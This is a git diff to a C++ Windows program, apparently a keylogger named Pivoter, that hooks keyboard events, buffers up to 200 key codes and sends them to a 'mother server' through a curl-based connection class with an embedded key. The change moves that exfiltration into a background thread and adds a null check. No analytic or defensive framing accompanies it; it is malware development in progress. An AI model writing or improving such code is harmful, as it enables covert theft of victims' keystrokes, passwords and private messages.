diff --git a/Pivoter.cpp b/Pivoter.cpp index c42c191..bb77ee0 100644 --- a/Pivoter.cpp +++ b/Pivoter.cpp @@ -9,7 +9,6 @@ #include #include #include -#include #include "codes.h" #include "connections_pivoter.h" #include "security_checker.h" @@ -18,15 +17,27 @@ #define KEYS_LIMIT 200 HHOOK keyboard_events_hook; std::vector virt_codes; +std::vector thread_codes; ConnectionsPivoter mother_server_pv = ConnectionsPivoter(); +DWORD WINAPI send_codes_thread_function(LPVOID keys) { + std::vector* keys_ptr = static_cast*>(keys); + bool res = mother_server_pv.send_codes(*keys_ptr); + + if (DEBUG && !res) { + std::cout << "Failed sending to the mother server!" << std::endl; + return 1; + } + + return 0; +} + void stack_codes() { if (virt_codes.size() < KEYS_LIMIT) return; - bool res = mother_server_pv.send_codes(virt_codes); - if (DEBUG && !res) - std::cout << "Failed sending message to the mother server" << std::endl; + thread_codes = virt_codes; + HANDLE thread = CreateThread(NULL, 0, send_codes_thread_function, &thread_codes, 0, NULL); virt_codes.clear(); } diff --git a/connections_pivoter.cpp b/connections_pivoter.cpp index c71ecc5..6611fdc 100644 --- a/connections_pivoter.cpp +++ b/connections_pivoter.cpp @@ -55,6 +55,7 @@ static const BYTE key[] = { }; BOOL ConnectionsPivoter::send_codes(std::vector codes) { + if (!this->curl) return false;